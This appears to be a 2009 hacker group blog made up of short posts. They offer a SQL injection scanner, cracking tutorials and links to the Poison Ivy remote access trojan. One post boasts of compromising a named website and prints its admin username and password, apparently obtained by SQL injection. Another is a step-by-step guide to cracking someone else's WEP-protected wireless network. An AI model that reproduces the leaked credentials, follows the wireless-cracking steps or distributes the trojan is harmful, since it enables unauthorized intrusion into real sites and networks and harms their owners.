l3d & st0ken

Diamondhack Vulnerability Scanner

l3dandst0ken — Wed, 01 Jul 2009 10:21:38 +0000

Download SQL Injector Scanner:
http://SuperUploader.net/50ebba399153-DiamondhackVulnScanner0-6-rar.html

Reverse Engineering Paper

l3dandst0ken — Sat, 06 Jun 2009 00:48:44 +0000

Reverse Engineering Tutorials from Lena are the ABSOLUTE BEST tutorial to learning reverse engineering!
There are 40 tuts with each with a movie (flash – interactive) and always one or more program(s) to crack / reverse engineer!
I recommend this tutorial for all who wants to learn reverse engineering or read assembly

Link to download:
here

0day using Metasploit

l3dandst0ken — Sat, 06 Jun 2009 00:46:54 +0000

Download: 0day using Metasploit:

show paper

Lombardo-Melsbg Pwned

l3dandst0ken — Tue, 02 Jun 2009 14:38:24 +0000

With SQL Injection i have cracked password and username of admin

Link site:
http://lombardo-mebelsbg.com/

Nick admin:
Matrata

Password:
miloto

The password is very very very easy… CRACKED!

-st0ken

SQL on www.sprinterberles.hu

l3dandst0ken — Tue, 02 Jun 2009 14:37:01 +0000

SQL in www.sprinterberles.hu by st0ken:

Click here for view SQLi

-st0ken

[NOW FIXED]

Wireless Hacking

l3dandst0ken — Mon, 01 Jun 2009 18:51:27 +0000

Follow these steps:

1) Unzip and install Commview, then paste the included “cv.exe” to the directory you installed it to (c:\program files\commviewwifi)

2) Open commview and install the commview drivers to a card. It should prompt you about your card and than automatically install the driver. It is important that you have 1 card that works with commview or else the rest of the tutorial will not work

3)now go to the “rules” tab and check “enable advanced rules”

4)type in the box labled formula “tods=1 and dmac=FF:FF:FF:FF:FF:FF” then type a name for your formula in the box labled name and than click add/edit.

5)it should now appear in the upper box. if it is not checked, check it.

6)now click settings>options>memory usage and turn maximum packets in buffer to 20000 (max). If it prompts you to restart it, do so. There are three funnel looking things on the main menu bar of commview. uncheck all but the first one (one labled “capture data packets”)

7) now click the play button and scan for the network you want to crack.

8)once you have found it, drag the channel menu down to the desired channel and click capture.

9) now using your other adapter thats not capturing, connect to the password protected network. when it asks you for key, type in something random, i used 1234567890.

10) it should now say connected with limited connectivity. (same as being associated!!)

11)go back to your commview menu and click on the packets tab. you should see a couple of packets.

12) looking at the protocol column, you should see a couple labled IP/UDP, ARP REQ, and a couple of others. Right click on any packet labled “ARP REQ” and than click send packet, and selected. A mini menu should now appear.

13) on the mini menu, change packets per second to 2000, and rather than 1 time(s), click continuously, and Then click send.

14) now go back to the main commview window and go to the rules tab, and uncheck the rule you made.

15) You are now injecting and you should see the number of packets rising really fast.

16)to save the packets, you have to save every 20000 packets, click file, save and than in the save dialogue, remember where you saved it, and instead of saving it as an ncf file, save it as a “dump” .cap file.

17) Extract the Aircrack-NG folder.

18)open aircrack-ng-GUI that can be found in the map “bin” and select the files you saved, and than click launch.

19)Look at the list of IV’s you have, and select the network you want to crack , there should be a list of alot of them, chose the one with the most ivs.

Download:
http://rapidshare.com/files/221544018/com_WH.rar

-darkc0de

Poison Ivy – Remote Administration Tool

l3dandst0ken — Mon, 01 Jun 2009 18:45:36 +0000

There was a critical little bug in the server building code that I just had to fix. The bug was client-side thus only the client’s version has changed (since it assembles the server file).
Thanks to Shaddy who found it and helped me fix it!
So here’s a new version with the following changes:

[+] – Feature added
[-] – Feature removed
[*] – Bug fixed on existing feature

[*] Fixed a crash when using both ActiveX and HKLM startup.
[*] Server now removes HKLM startup entry when uninstalled.
[*] Fixed autosave (screen capture) problem that some people experienced.

Download:
http://www.poisonivy-rat.com/index.php?link=download

Official Site:
http://www.poisonivy-rat.com/index.php